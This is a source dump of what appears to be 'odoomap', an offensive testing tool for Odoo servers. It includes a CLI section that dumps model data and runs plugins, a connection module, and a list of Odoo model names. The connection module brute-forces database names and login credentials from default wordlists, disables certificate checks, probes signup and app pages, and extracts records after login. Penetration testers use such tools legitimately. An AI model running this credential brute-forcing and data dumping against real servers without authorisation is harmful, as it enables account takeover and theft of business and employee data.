252 | output_file = args.output if os.path.isdir(args.output) else os.path.dirname(args.output)
253 | output_file = os.path.join(output_file, 'bruteforced_models.txt')
254 | with open(output_file, 'w') as f:
255 | for model in models:
256 | f.write(f"{model}\n")
257 | print(f"\n{Colors.s} Bruteforced model list saved to {output_file}")
258 |
259 | # Dump model data
260 | if args.dump and connection.uid:
261 | models_to_dump = []
262 |
263 | # Check if the dump argument is a file path
264 | if os.path.isfile(args.dump):
265 | print(f"\n{Colors.i} Reading model list from file: {args.dump}")
266 | try:
267 | with open(args.dump, 'r') as f:
268 | models_to_dump = [line.strip() for line in f if line.strip()]
269 | print(f"{Colors.i} Dumping data from {len(models_to_dump)} model(s) listed in file: {args.dump}")
270 | except Exception as e:
271 | print(f"{Colors.e} Error reading model list file: {str(e)}")
272 | sys.exit(1)
273 | else:
274 | models_to_dump = [model.strip() for model in args.dump.split(',')]
275 | print(f"{Colors.i} Dumping data from {len(models_to_dump)} model(s)")
276 |
277 | output_dir = args.output or "./dump"
278 | os.makedirs(output_dir, exist_ok=True)
279 |
280 | for model_name in models_to_dump:
281 | output_file = os.path.join(output_dir, f"{model_name}.json")
282 | print(f"{Colors.i} Dumping {model_name} to {output_file}")
283 | actions.dump_model(connection, model_name, limit=args.limit, output_file=output_file)
284 |
285 |
286 | if args.plugin:
287 | try:
288 | plugin_instance = load_specific_plugin(args.plugin)
289 | except ValueError as e:
290 | print(f"{Colors.e} {e}")
291 | available = list_available_plugins()
292 | print(f"{Colors.i} Available plugins: {', '.join(available)}")
293 | sys.exit(1)
294 |
295 | try:
296 | result = plugin_instance.run(
297 | # Passing all the necessary connection/auth information.
298 | args.url,
299 | database=args.database,
300 | username=args.username,
301 | password=args.password,
302 | connection=connection
303 | # add args that plugins might need.
304 | )
305 | print(f"{Colors.s} Plugin '{args.plugin}' finished. Result:\n{result}")
306 |
307 | except Exception as e:
308 | print(f"{Colors.e} Error running plugin '{args.plugin}': {str(e)}")
309 | sys.exit(1)
310 |
311 | if __name__ == "__main__":
312 | main()
--------------------------------------------------------------------------------
/odoomap/connect.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import xmlrpc.client
3 | import requests
4 | import ssl
5 | import urllib3
6 | import json
7 | from bs4 import BeautifulSoup
8 | from odoomap.utils.colors import Colors
9 | from urllib.parse import urljoin
10 | from importlib.resources import files
11 | from .utils.brute_display import BruteDisplay, console
12 |
13 |
14 |
15 | # Disable SSL warnings
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | class Connection:
19 | def __init__(self, host, ssl_verify=False):
20 | self.host = host if host.startswith(('http://', 'https://')) else f"https://{host}"
21 | self.ssl_verify = ssl_verify
22 | self.session = requests.Session()
23 | self.session.verify = ssl_verify
24 | self.common_endpoint = f"{self.host}/xmlrpc/2/common"
25 | self.object_endpoint = f"{self.host}/xmlrpc/2/object"
26 | self.master_password_endpoint = f"{self.host}/xmlrpc/2/db"
27 |
28 | # For authenticated operations
29 | self.uid = None
30 | self.password = None
31 | self.db = None
32 |
33 | # Setup XML-RPC with context for SSL verification
34 | if not ssl_verify:
35 | ssl_context = ssl._create_unverified_context()
36 | self.common = xmlrpc.client.ServerProxy(self.common_endpoint, context=ssl_context)
37 | self.master = xmlrpc.client.ServerProxy(self.master_password_endpoint, context=ssl_context)
38 | self.models = None # Will be initialized after authentication
39 | else:
40 | self.common = xmlrpc.client.ServerProxy(self.common_endpoint)
41 | self.models = None
42 |
43 | def get_version(self):
44 | """Get Odoo version information"""
45 | try:
46 | version_info = self.common.version()
47 | return version_info
48 | except Exception as e:
49 | print(f"{Colors.e} Error getting version: {str(e)}")
50 | return None
51 |
52 | def get_databases(self):
53 | """List available databases"""
54 | try:
55 | db_endpoint = f"{self.host}/xmlrpc/2/db"
56 | db_service = xmlrpc.client.ServerProxy(db_endpoint,
57 | context=ssl._create_unverified_context() if not self.ssl_verify else None)
58 | databases = db_service.list()
59 | return databases
60 | except Exception as e:
61 | print(f"{Colors.e} Error listing databases: {str(e)}")
62 | print(f"{Colors.i} Falling back to JSON-RPC method...")
63 |
64 | try:
65 | jsonrpc_endpoint = f"{self.host}/web/database/list"
66 | headers = {"Content-Type": "application/json"}
67 | payload = {
68 | "jsonrpc": "2.0",
69 | "method": "call",
70 | "params": {}
71 | }
72 |
73 | verify_ssl = self.ssl_verify
74 | response = requests.post(
75 | jsonrpc_endpoint,
76 | headers=headers,
77 | data=json.dumps(payload),
78 | verify=verify_ssl
79 | )
80 |
81 | if response.status_code == 200:
82 | result = response.json().get("result")
83 | if isinstance(result, list) and result:
84 | return result
85 | except Exception as e:
86 | print(f"{Colors.e} JSON-RPC DB listing failed: {e}")
87 |
88 | return []
89 |
90 | def authenticate(self, db, username, password, verbose=True):
91 | """Authenticate to Odoo"""
92 | if verbose:
93 | print(f"{Colors.i} Authenticating as {username} on {db}...")
94 | try:
95 | uid = self.common.authenticate(db, username, password, {})
96 | if uid:
97 | self.uid = uid
98 | self.password = password
99 | self.db = db
100 | self.models = xmlrpc.client.ServerProxy(self.object_endpoint,
101 | context=ssl._create_unverified_context() if not self.ssl_verify else None)
102 | if verbose:
103 | print(f"{Colors.s} Authentication successful (uid: {uid})")
104 | return uid
105 |
106 | else:
107 | if verbose:
108 | print(f"{Colors.e} Authentication failed")
109 | return None
110 |
111 | except Exception as e:
112 | if "failed: FATAL: database" in str(e) and "does not exist" in str(e):
113 | if verbose:
114 | print(f"{Colors.e} Authentication failed: database {Colors.FAIL}{db}{Colors.ENDC} does not exist")
115 | else:
116 | if verbose:
117 | print(f"{Colors.e} Authentication error: {str(e)}")
118 | return None
119 |
120 | def sanitize_for_xmlrpc(self, text):
121 | """Sanitize text to be used in XML-RPC calls."""
122 | if not isinstance(text, str):
123 | return text
124 | return ''.join(c for c in text if c != '\x00' and ord(c) < 128 and c.isprintable())
125 |
126 | def bruteforce_database_names(self, db_names_file):
127 | """Bruteforce database names using a wordlist file"""
128 |
129 | try:
130 | with open(db_names_file, 'r', encoding='utf-8', errors='ignore') as f:
131 | databases = [line.strip() for line in f if line.strip()]
132 | except Exception as e:
133 | print(f"{Colors.e} Error reading database names file: {str(e)}")
134 | return False
135 |
136 | print(f"{Colors.s} Loaded {len(databases)} database names from {db_names_file}")
137 | print(f"{Colors.i} Starting database name bruteforce with {len(databases)} candidates")
138 |
139 | total = len(databases)
140 | display = BruteDisplay(total)
141 | found_databases = []
142 |
143 | console.print("")
144 | for db in databases:
145 | display.update(f"{Colors.t} {db}")
146 | try:
147 | uid = self.common.authenticate(db, "test_user", "test_pass", {})
148 | if uid == False:
149 | display.add_success(f"{db}\n")
150 | found_databases.append(db)
151 | except Exception as e:
152 | if "FATAL: database" in str(e) and "does not exist" in str(e):
153 | pass
154 | else:
155 | display.add_error(f"{db} -> {str(e)}")
156 |
157 | display.stop()
158 |
159 | return found_databases
160 |
161 | def bruteforce_login(self, db, wordlist_file=None, usernames_file=None, passwords_file=None):
162 | if not db:
163 | print(f"{Colors.e} No database specified for bruteforce")
164 | return False
165 |
166 | usernames, passwords, user_pass_pairs = [], [], []
167 |
168 | try:
169 | usernames_text = files("odoomap.data").joinpath("default_usernames.txt").read_text(encoding='utf-8', errors='ignore')
170 | usernames = [line.strip() for line in usernames_text.splitlines() if line.strip()]
171 |
172 | passwords_text = files("odoomap.data").joinpath("default_passwords.txt").read_text(encoding='utf-8', errors='ignore')
173 | passwords = [line.strip() for line in passwords_text.splitlines() if line.strip()]
174 | except Exception as e:
175 | print(f"{Colors.e} Error reading default credentials files: {str(e)}")
176 | sys.exit(1)
177 |
178 | if usernames_file:
179 | try:
180 | with open(usernames_file, 'r', encoding='utf-8', errors='ignore') as f:
181 | usernames = [line.strip() for line in f if line.strip()]
182 | #print(f"{Colors.s} Loaded {len(usernames)} usernames from {usernames_file}")
183 | except Exception as e:
184 | print(f"{Colors.e} Error reading usernames file: {str(e)}")
185 | sys.exit(1)
186 |
187 | if passwords_file:
188 | try:
189 | with open(passwords_file, 'r', encoding='utf-8', errors='ignore') as f:
190 | passwords = [line.strip() for line in f if line.strip()]
191 | #print(f"{Colors.s} Loaded {len(passwords)} passwords from {passwords_file}")
192 | except Exception as e:
193 | print(f"{Colors.e} Error reading passwords file: {str(e)}")
194 | sys.exit(1)
195 |
196 | if wordlist_file:
197 | try:
198 | with open(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f:
199 | lines = [line.strip() for line in f if line.strip()]
200 | # Check if this is in user:pass format
201 | for line in lines:
202 | if ':' in line:
203 | user, pwd = line.split(':', 1)
204 | user_pass_pairs.append((user, pwd))
205 | except Exception as e:
206 | print(f"{Colors.e} Error reading wordlist file: {str(e)}")
207 | sys.exit(1)
208 |
209 | if not user_pass_pairs:
210 | print(f"{Colors.e} No valid user:pass pairs found in {wordlist_file}, Exiting...")
211 | sys.exit(1)
212 |
213 | # sanitize & unique
214 | usernames = list(dict.fromkeys(self.sanitize_for_xmlrpc(u).strip() for u in usernames if u.strip()))
215 | passwords = list(dict.fromkeys(self.sanitize_for_xmlrpc(p).strip() for p in passwords if p.strip()))
216 | user_pass_pairs = list(dict.fromkeys(
217 | (self.sanitize_for_xmlrpc(u).strip(), self.sanitize_for_xmlrpc(p).strip())
218 | for u, p in user_pass_pairs if u.strip() and p.strip()
219 | ))
220 |
221 | # Remove any empty username/password pairs after sanitization
222 | usernames = [u for u in usernames if u]
223 | passwords = [p for p in passwords if p]
224 | user_pass_pairs = [(u, p) for u, p in user_pass_pairs if u and p]
225 |
226 | # If no user-pass pairs were provided, generate them from sanitized usernames and passwords
227 | if not user_pass_pairs:
228 | if usernames_file:
229 | print(f"{Colors.s} Loaded {len(usernames)} unique usernames from {usernames_file}")
230 | else:
231 | print(f"{Colors.s} Using {len(usernames)} default usernames")
232 | if passwords_file:
233 | print(f"{Colors.s} Loaded {len(passwords)} unique passwords from {passwords_file}")
234 | else:
235 | print(f"{Colors.s} Using {len(passwords)} default passwords")
236 |
237 | user_pass_pairs = list(dict.fromkeys(
238 | (self.sanitize_for_xmlrpc(u).strip(), self.sanitize_for_xmlrpc(p).strip())
239 | for u in usernames for p in passwords if u and p
240 | ))
241 | else:
242 | print(f"{Colors.s} Loaded {len(user_pass_pairs)} unique user:pass pairs from {wordlist_file}")
243 |
244 | print(f"{Colors.i} Starting bruteforce with {len(user_pass_pairs)} credential pairs")
245 |
246 | total = len(user_pass_pairs)
247 | display = BruteDisplay(total)
248 |
249 | console.print()
250 | for username, password in user_pass_pairs:
251 | display.update(f"{Colors.t} {username}:{password}")
252 | try:
253 | uid = self.authenticate(db, username, password, verbose=False)
254 | if uid:
255 | display.add_success(f"{username}:{password} (uid: {uid})\n")
256 |
257 | except Exception as e:
258 | display.add_error(f"{username}:{password} -> {e}")
259 |
260 | display.stop()
261 | return len(display.successes) > 0
262 |
263 | def registration_check(self):
264 | """
265 | Detect whether self‑host exposes any anonymous signup page.
266 | Returns True at the first positive match, otherwise False.
267 | """
268 | candidate_paths = [
269 | "/web/signup", # default (>= v10)
270 | "/auth_signup/sign_up", # auth_signup controller
271 | "/web/portal/register", # older portal module
272 | "/web/register", # some community themes
273 | "/website/signup", # website module alias
274 | "/portal/signup", # portal frontend alias
275 | "/signup", # catch‑all shortcut
276 | "/web/login/signup" # Sometimes a redirect from /web/login
277 | ]
278 |
279 | portal_found = False
280 | base = self.host.rstrip("/") + "/" # ensure base ends with exactly one /
281 | for p in candidate_paths:
282 | url = urljoin(base, p.lstrip("/"))
283 | try:
284 | response = self.session.get(url, verify=self.ssl_verify, timeout=10)
285 | except Exception as exc:
286 | print(f"{Colors.e} error requesting {url}: {exc}")
287 | continue
288 |
289 | if response.status_code == 200 and "name=\"login\"" in response.text:
290 | print(f"{Colors.s} Portal registration is enabled: {Colors.FAIL}{url}{Colors.ENDC}")
291 | portal_found = True
292 |
293 |
294 | elif response.status_code == 200:
295 | print(f"{Colors.s} Public signup found at {Colors.FAIL}{url}{Colors.ENDC}")
296 | portal_found = True
297 | continue
298 |
299 | if portal_found:
300 | return True
301 | else:
302 | print(f"{Colors.w} Portal registration is disabled / not detected")
303 | return portal_found
304 |
305 |
306 | def default_apps_check(self):
307 | """Get information about default apps"""
308 | try:
309 | login_url = urljoin(self.host, '/web/login')
310 | response = self.session.get(login_url, verify=self.ssl_verify)
311 | if response.status_code == 200:
312 | soup = BeautifulSoup(response.text, 'html.parser')
313 | app_info = {}
314 |
315 | if soup.title:
316 | app_info["title"] = soup.title.string
317 |
318 | paths = [
319 | "/web", "/shop", "/forum", "/contactus",
320 | "/website/info", "/blog", "/events",
321 | "/jobs", "/slides"
322 | ]
323 | for path in paths:
324 | try:
325 | full_url = urljoin(self.host, path)
326 | path_response = self.session.get(full_url, verify=self.ssl_verify)
327 | if path_response.status_code == 200:
328 | print(f" - {path}: Available ({full_url})")
329 | app_info[path] = path_response.status_code
330 | except:
331 | app_info[path] = None
332 |
333 | return app_info
334 | return None
335 | except Exception as e:
336 | print(f"{Colors.e} Error getting apps info: {str(e)}")
337 | return None
--------------------------------------------------------------------------------
/odoomap/data/default_models.txt:
--------------------------------------------------------------------------------
1 | mail.thread
2 | account.account
3 | account.return
4 | account.return.check
5 | account.analytic.account
6 | hr.applicant
7 | appointment.type
8 | hr.appraisal.goal
9 | approval.request
10 | knowledge.article.thread
11 | account.asset
12 | hr.attendance
13 | base.automation
14 | res.partner.bank
15 | account.online.link
16 | account.bank.statement
17 | account.bank.statement.line
18 | extract.mixin
19 | extract.mixin.with.words
20 | mrp.bom
21 | blog.blog
22 | blog.post
23 | calendar.event
24 | res.company
25 | res.partner
26 | slide.channel
27 | hr.department
28 | discuss.channel
29 | documents.document
30 | mrp.eco.type
31 | mail.thread.cc
32 | esg.emission.factor
33 | esg.emission.factor.line
34 | hr.employee
35 | hr.appraisal
36 | hr.version
37 | mrp.eco
38 | event.event
39 | event.registration
40 | hr.expense
41 | forum.forum
42 | forum.post
43 | forum.tag
44 | frontdesk.visitor
45 | gamification.badge
46 | gamification.challenge
47 | helpdesk.team
48 | helpdesk.ticket
49 | iap.account
50 | hr.job
51 | account.journal
52 | account.move
53 | knowledge.article
54 | crm.lead
55 | account.loan
56 | stock.lot
57 | lunch.supplier
58 | mail.blacklist
59 | mail.thread.blacklist
60 | mail.thread.main.attachment
61 | mailing.contact
62 | maintenance.equipment
63 | maintenance.request
64 | maintenance.team
65 | mrp.production
66 | card.campaign
67 | mailing.mailing
68 | fleet.vehicle.model
69 | hr.payslip.run
70 | hr.payslip
71 | account.payment
72 | phone.blacklist
73 | mail.thread.phone
74 | pos.order
75 | pos.session
76 | account.reconcile.model
77 | product.pricelist
78 | product.template
79 | product.category
80 | product.product
81 | project.project
82 | project.milestone
83 | project.update
84 | purchase.order
85 | quality.alert
86 | quality.alert.team
87 | quality.check
88 | quality.point
89 | rating.mixin
90 | repair.order
91 | hr.referral.reward
92 | room.room
93 | room.booking
94 | hr.salary.attachment
95 | sale.order
96 | crm.team
97 | crm.team.member
98 | ir.cron
99 | stock.scrap
100 | ir.actions.server
101 | fleet.vehicle.log.services
102 | sign.request
103 | slide.slide
104 | social.media
105 | social.post
106 | spreadsheet.cell.thread
107 | studio.approval.rule
108 | survey.survey
109 | survey.user_input
110 | hr.talent.pool
111 | project.task
112 | account.tax
113 | hr.leave
114 | hr.leave.allocation
115 | stock.picking
116 | mrp.unbuild
117 | fleet.vehicle
118 | fleet.vehicle.log.contract
119 | whatsapp.account
120 | whatsapp.template
121 | mrp.workcenter
122 | mrp.routing.workcenter
123 | auth_totp.wizard
124 | ai.tool
125 | voip.call
126 | account.edi.xml.ubl_a_nz
127 | ai.agent
128 | ai.composer
129 | res.users.apikeys.description
130 | res.groups
131 | account.cash.rounding
132 | account.chart.template
133 | account.group
134 | account.journal.group
135 | account.lock_exception
136 | account.move.reversal
137 | account.move.send
138 | account.move.send.batch.wizard
139 | account.move.send.wizard
140 | account.report.annotation
141 | account.report.custom.handler
142 | account.tax.report.handler
143 | account.report.send
144 | account.account.tag
145 | account.transfer.model
146 | account.transfer.model.line
147 | account.auto.reconcile.wizard
148 | account.root
149 | account.import.summary
150 | account.merge.wizard
151 | account.merge.wizard.line
152 | mrp.account.wip.accounting.line
153 | account.reconcile.wizard
154 | report.account.report_invoice_with_payments
155 | report.account.report_invoice
156 | account.report
157 | account.report.budget
158 | account.report.budget.item
159 | account.report.column
160 | account.report.expression
161 | account.report.external.value
162 | account.report.line
163 | account.return.type
164 | account.fiscal.position.account
165 | hr.leave.accrual.plan
166 | hr.leave.accrual.level
167 | account.accrued.orders.wizard
168 | ir.actions.act_url
169 | ir.actions.act_window
170 | ir.actions.act_window_close
171 | ir.actions.act_window.view
172 | ir.actions.actions
173 | mail.activity
174 | mail.activity.mixin
175 | mail.activity.plan
176 | esg.activity.type
177 | mail.activity.type
178 | mail.activity.plan.template
179 | mail.activity.schedule
180 | mailing.contact.to.list
181 | add.iot.box
182 | job.add.applicants
183 | talent.pool.add.applicants
184 | appointment.manage.leaves
185 | mrp.workcenter.tag
186 | mrp_production.additional.workorder
187 | slide.slide.resource
188 | format.address.mixin
189 | account.aged.partner.balance.report.handler
190 | account.aged.payable.report.handler
191 | account.aged.receivable.report.handler
192 | hr.referral.alert
193 | website.route
194 | ir.profile
195 | amazon.account
196 | amazon.marketplace
197 | amazon.offer
198 | amazon.recover.order.wizard
199 | iot.discovered.box
200 | account.analytic.distribution.model
201 | account.analytic.line
202 | analytic.mixin
203 | analytic.plan.fields.mixin
204 | account.analytic.applicability
205 | account.analytic.plan
206 | hr.recruitment.degree
207 | ir.module.category
208 | appointment.answer.input
209 | appointment.booking.line
210 | appointment.invite
211 | appointment.answer
212 | appointment.question
213 | appointment.resource
214 | appointment.slot
215 | hr.appraisal.note
216 | hr.appraisal.campaign.wizard
217 | hr.appraisal.goal.tag
218 | hr.appraisal.skill
219 | hr.appraisal.skill.report
220 | hr.appraisal.report
221 | approval.category
222 | approval.category.approver
223 | studio.approval.rule.approver
224 | studio.approval.rule.delegate
225 | approval.approver
226 | knowledge.article.member
227 | knowledge.article.template.category
228 | appraisal.ask.feedback
229 | ir.asset
230 | account.asset.group
231 | account.asset.report.handler
232 | web_editor.assets
233 | esg.assignation.line
234 | ir.attachment
235 | ai.embedding
236 | hr.attendance.overtime
237 | product.attribute.value
238 | auth_totp.device
239 | factors.auto.assignment.wizard
240 | ir.autovacuum
241 | sequence.mixin
242 | account.autopost.bills.wizard
243 | avatar.mixin
244 | account.edi.xml.ubl_de
245 | report.mrp.report_bom_structure
246 | stock.backorder.confirmation
247 | mrp.production.backorder.line
248 | stock.backorder.confirmation.line
249 | account.balance.sheet.report.handler
250 | res.bank
251 | account.bank.reconciliation.report.handler
252 | account.setup.bank.manual.config
253 | barcodes.barcode_events_mixin
254 | barcode.nomenclature
255 | barcode.rule
256 | base
257 | base_import.import
258 | base_import.mapping
259 | mrp.bom.line
260 | bill.to.po.wizard
261 | blog.tag
262 | blog.tag.category
263 | fleet.vehicle.model.brand
264 | project.task.burndown.chart.report
265 | pos.bus.mixin
266 | account.document.import.mixin
267 | mrp.bom.byproduct
268 | crm.activity.report
269 | crm.iap.lead.industry
270 | crm.iap.lead.mining.request
271 | crm.recurring.plan
272 | crm.stage
273 | crm.tag
274 | calendar.attendee
275 | calendar.filters
276 | calendar.popover.delete.wizard
277 | calendar.provider.config
278 | utm.stage
279 | bus.listener.mixin
280 | stock_barcode.cancel.operation
281 | hr.holidays.cancel.leave
282 | sale.mass.cancel.orders
283 | mail.canned.response
284 | esg.carbon.report.handler
285 | delivery.carrier.easypost
286 | account.cash.flow.report.handler
287 | lunch.cashmove.report
288 | hr.applicant.category
289 | fleet.vehicle.model.category
290 | certificate.certificate
291 | account.change.lock.date
292 | change.password.wizard
293 | change.production.qty
294 | slide.channel.partner
295 | slide.channel.invite
296 | discuss.channel.member
297 | slide.channel.tag.group
298 | slide.channel.tag
299 | chatbot.message
300 | chatbot.script
301 | chatbot.script.answer
302 | chatbot.script.step
303 | envia.shipping.wizard
304 | sendcloud.shipping.wizard
305 | sendcloud.shipping.product
306 | starshipit.shipping.wizard
307 | lot.label.layout
308 | product.label.layout
309 | picking.label.type
310 | res.city
311 | data_cleaning.model
312 | data_cleaning.record
313 | data_cleaning.rule
314 | ir.actions.client
315 | account.loan.close.wizard
316 | pos.close.session.wizard
317 | pos.bill
318 | spreadsheet.revision
319 | project.collaborator
320 | account.edi.common
321 | bus.bus
322 | base.document.layout
323 | sign.completed.document
324 | res.config
325 | res.config.settings
326 | ir.actions.todo
327 | auto.config.pos.iot
328 | confirm.stock.sms
329 | hr.timesheet.stop.timer.confirmation.wizard
330 | pos.confirmation.wizard
331 | stock.inventory.conflict
332 | slide.question
333 | hr.version.wizard
334 | hr.contract.type
335 | helpdesk.ticket.convert.wizard
336 | crm.lead2opportunity.partner.mass
337 | crm.lead2opportunity.partner
338 | crm.lead.rental
339 | project.task.convert.wizard
340 | social.post.to.lead
341 | helpdesk.ticket.to.lead
342 | spreadsheet.dashboard.share
343 | res.country
344 | voip.country.code.mixin
345 | res.country.group
346 | format.vat.label.mixin
347 | res.country.state
348 | website.cover_properties.mixin
349 | account.automatic.entry.wizard
350 | wizard.ir.model.menu.create
351 | helpdesk.create.fsm.task
352 | spreadsheet.document.to.dashboard
353 | ai.topic
354 | mail.activity.todo.create
355 | crm.quotation.partner
356 | certificate.key
357 | res.currency
358 | res.currency.rate
359 | ir.ui.view.custom
360 | pos_self_order.custom_link
361 | account.customer.statement.report.handler
362 | esg.database
363 | decimal.precision
364 | data_merge.group
365 | data_merge.model
366 | data_merge.record
367 | data_merge.rule
368 | ir.default
369 | x_project_task_worksheet_template_1
370 | account.deferred.expense.report.handler
371 | account.deferred.report.handler
372 | account.deferred.revenue.report.handler
373 | choose.delivery.carrier
374 | choose.delivery.package
375 | delivery.price.rule
376 | delivery.zip.prefix
377 | ir.demo
378 | ir.demo_failure.wizard
379 | ir.demo_failure
380 | hr.departure.reason
381 | hr.departure.wizard
382 | res.device.log
383 | res.device
384 | digest.digest
385 | digest.tip
386 | account.disallowed.expenses.category
387 | account.disallowed.expenses.report.handler
388 | account.disallowed.expenses.fleet.report.handler
389 | account.disallowed.expenses.rate
390 | sale.order.discount
391 | documents.access
392 | mail.followers
393 | documents.redirect
394 | documents.request_wizard
395 | documents.access.invite
396 | documents.link_to_record_wizard
397 | documents.mixin
398 | documents.unlink.mixin
399 | fleet.vehicle.assignation.log
400 | website.sale.extra.field
401 | account.edi.xml.ubl_efff
402 | account.ec.sales.report.handler
403 | mrp.eco.approval
404 | mrp.eco.approval.template
405 | mrp.eco.bom.change
406 | mrp.eco.stage
407 | mrp.eco.tag
408 | report.event_iot.event_registration_badge_printer_report
409 | esg.carbon.emission.report
410 | esg.employee.commuting.report
411 | esg.employee.report
412 | pos.preset
413 | easypost.service
414 | mrp.eco.routing.change
415 | registration.editor
416 | registration.editor.line
417 | edit.billable.time.target
418 | hr.payroll.edit.payslip.worked.days.line
419 | hr.payroll.edit.payslip.lines.wizard
420 | hr.payroll.edit.payslip.line
421 | mail.alias
422 | mail.alias.mixin
423 | mail.alias.mixin.optional
424 | mail.alias.domain
425 | mail.template.preview
426 | mail.template
427 | mail.compose.message
428 | ir.embedded.actions
429 | slide.embed
430 | esg.emission.source
431 | hr.appraisal.template
432 | hr.employee.category
433 | hr.employee.certification.report
434 | hr.employee.delete.wizard
435 | hr.employee.location
436 | hr.referral.report
437 | hr.referral.reward.report
438 | report.hr_skills.report_employee_cv
439 | hr.employee.skill.history.report
440 | hr.employee.skill.report
441 | base.enable.profiling.wizard
442 | calendar.alarm
443 | calendar.alarm_manager
444 | event.mail
445 | event.event.configurator
446 | event.lead.request
447 | event.lead.rule
448 | calendar.event.type
449 | event.question
450 | event.question.answer
451 | calendar.recurrence
452 | event.registration.answer
453 | event.sale.report
454 | event.slot
455 | event.stage
456 | event.tag
457 | event.tag.category
458 | event.type
459 | event.type.ticket
460 | event.event.ticket
461 | hr.expense.approve.duplicate
462 | hr.expense.post.wizard
463 | hr.expense.refuse.wizard
464 | hr.expense.split
465 | hr.expense.split.wizard
466 | account_reports.export.wizard.format
467 | account_reports.export.wizard
468 | ir.exports
469 | ir.exports.line
470 | iap.extracted.words
471 | report.project.task.user.fsm
472 | account.edi.xml.cii
473 | knowledge.article.favorite
474 | product.fetch.image.wizard
475 | html.field.history.mixin
476 | ir.model.fields
477 | ir.fields.converter
478 | ir.model.fields.selection
479 | crm.lead.scoring.frequency.field
480 | sign.item
481 | ir.binary
482 | ir.filters
483 | account.fiscal.position
484 | account.fiscal.year
485 | fleet.vehicle.cost.report
486 | fleet.vehicle.odometer.report
487 | fleet.service.type
488 | account.followup.report.handler
489 | account_followup.followup.line
490 | account.followup.report
491 | mail.followers.edit
492 | account_followup.missing.information.wizard
493 | sale.pdf.form.field
494 | hr.referral.friend
495 | frontdesk.frontdesk
496 | frontdesk.drink
497 | account.full.reconcile
498 | gamification.goal
499 | gamification.goal.definition
500 | gamification.goal.wizard
501 | gamification.badge.user
502 | gamification.badge.user.wizard
503 | gamification.challenge.line
504 | esg.gas
505 | account.general.ledger.report.handler
506 | payment.link.wizard
507 | employee.commuting.emissions.wizard
508 | hr.leave.allocation.generate.multi.wizard
509 | hr.leave.generate.multi.wizard
510 | qr.code.payment.wizard
511 | account.generic.tax.report.handler
512 | account.generic.tax.report.handler.account.tax
513 | account.generic.tax.report.handler.tax.account
514 | base.geocoder
515 | base.geo_provider
516 | crm.lead.lost
517 | applicant.get.refuse.reason
518 | report.account.report_hash_integrity
519 | google.calendar.account.reset
520 | google.gmail.mixin
521 | google.service
522 | portal.wizard
523 | report.sign.green_savings_report
524 | spreadsheet.dashboard.group
525 | mail.guest
526 | hr.payroll.payment.report.wizard
527 | hr.holidays.summary.employee
528 | hr.work.entry
529 | hr.work.entry.type
530 | ir.http
531 | hr.payroll.headcount.line
532 | helpdesk.sla
533 | helpdesk.stage
534 | helpdesk.stage.delete.wizard
535 | helpdesk.tag.assignment
536 | helpdesk.tag
537 | crm.iap.lead.helpers
538 | report.hr_holidays.report_holidayssummary
539 | account.report.horizontal.group
540 | account.report.horizontal.group.rule
541 | hr.manager.department.report
542 | iap.enrich.api
543 | iap.autocomplete.api
544 | iap.service
545 | mail.ice.server
546 | iot.device
547 | iot.trigger
548 | image.mixin
549 | base.import.module
550 | fetchmail.server
551 | account.incoterms
552 | hr.payroll.index
553 | res.partner.industry
554 | base.language.install
555 | stock.inventory.adjustment.name
556 | stock.inventory.warning
557 | stock.location
558 | stock.route
559 | account.invoice.report
560 | iot.box
561 | hr.job.platform
562 | account.move.line
563 | account.journal.report.handler
564 | documents.account.folder.setting
565 | discuss.call.history
566 | im_livechat.channel.member.history
567 | iot.keyboard.layout
568 | knowledge.cover
569 | knowledge.invite
570 | knowledge.article.stage
571 | base.language.export
572 | base.language.import
573 | res.lang
574 | crm.lead.scoring.frequency
575 | crm.lead.convert2ticket
576 | hr.referral.level
577 | mrp.consumption.warning.line
578 | fsm.stock.tracking.line
579 | sms.tracker
580 | link.tracker
581 | link.tracker.click
582 | link.tracker.code
583 | account.bank.selection
584 | mail.message.link.preview
585 | product.uom
586 | im_livechat.expertise
587 | im_livechat.channel
588 | im_livechat.channel.rule
589 | im_livechat.report.channel
590 | worksheet.template.load.wizard
591 | account.loan.compute.wizard
592 | account.loan.line
593 | ir.logging
594 | report.stock.label_lot_template_view
595 | lunch.alert
596 | lunch.cashmove
597 | lunch.topping
598 | lunch.location
599 | lunch.order
600 | lunch.product
601 | lunch.product.category
602 | report.mrp.report_mo_overview
603 | report.mrp_account_enterprise.mrp_cost_structure
604 | mrp.workcenter.productivity.loss.type
605 | mail.activity.schedule.line
606 | mail.bot
607 | mail.composer.mixin
608 | mail.gateway.allowed
609 | discuss.channel.rtc.session
610 | mail.render.mixin
611 | event.type.mail
612 | ir.mail_server
613 | mail.template.reset
614 | mail.tracking.value
615 | mailing.contact.import
616 | mailing.filter
617 | mailing.list
618 | mailing.subscription
619 | mailing.trace
620 | mailing.subscription.optout
621 | maintenance.equipment.category
622 | maintenance.mixin
623 | maintenance.stage
624 | account.report.file.download.error.wizard
625 | hr.leave.mandatory.day
626 | mrp.report
627 | account.code.mapping
628 | marketing.activity
629 | marketing.campaign
630 | marketing.campaign.test
631 | card.card
632 | card.campaign.tag
633 | card.template
634 | marketing.participant
635 | marketing.trace
636 | mailing.trace.report
637 | calendar.booking
638 | calendar.booking.line
639 | ir.ui.menu
640 | mailing.list.merge
641 | crm.merge.opportunity
642 | base.partner.merge.line
643 | base.partner.merge.automatic.wizard
644 | hr_timesheet.merge.wizard
645 | mail.message
646 | mail.notification
647 | mail.message.reaction
648 | mail.message.translation
649 | mail.message.subtype
650 | discuss.voice.metadata
651 | stock.warehouse.orderpoint
652 | mail.tracking.duration.mixin
653 | ir.model.access
654 | ir.model.constraint
655 | ir.model.data
656 | ir.model.inherit
657 | website.controller.page
658 | report.hr_payroll.contribution_register
659 | ir.model
660 | asset.modify
661 | ir.module.module
662 | base.module.install.request
663 | base.module.install.review
664 | report.base.report_irmodulereference
665 | base.module.uninstall
666 | ir.module.module.dependency
667 | ir.module.module.exclusion
668 | website.multi.mixin
669 | website.published.multi.mixin
670 | account.multicurrency.revaluation.report.handler
671 | account.multicurrency.revaluation.wizard
672 | pos.make.invoice
673 | fleet.vehicle.odometer
674 | onboarding.onboarding
675 | onboarding.progress.step
676 | onboarding.progress
677 | onboarding.onboarding.step
678 | account.financial.year.op
679 | crm.lost.reason
680 | sign.item.option
681 | esg.other.emission
682 | mail.mail
683 | sms.sms
684 | preparation.time.report
685 | restaurant.order.course
686 | stock.quant.package
687 | website.page
688 | website.page.properties
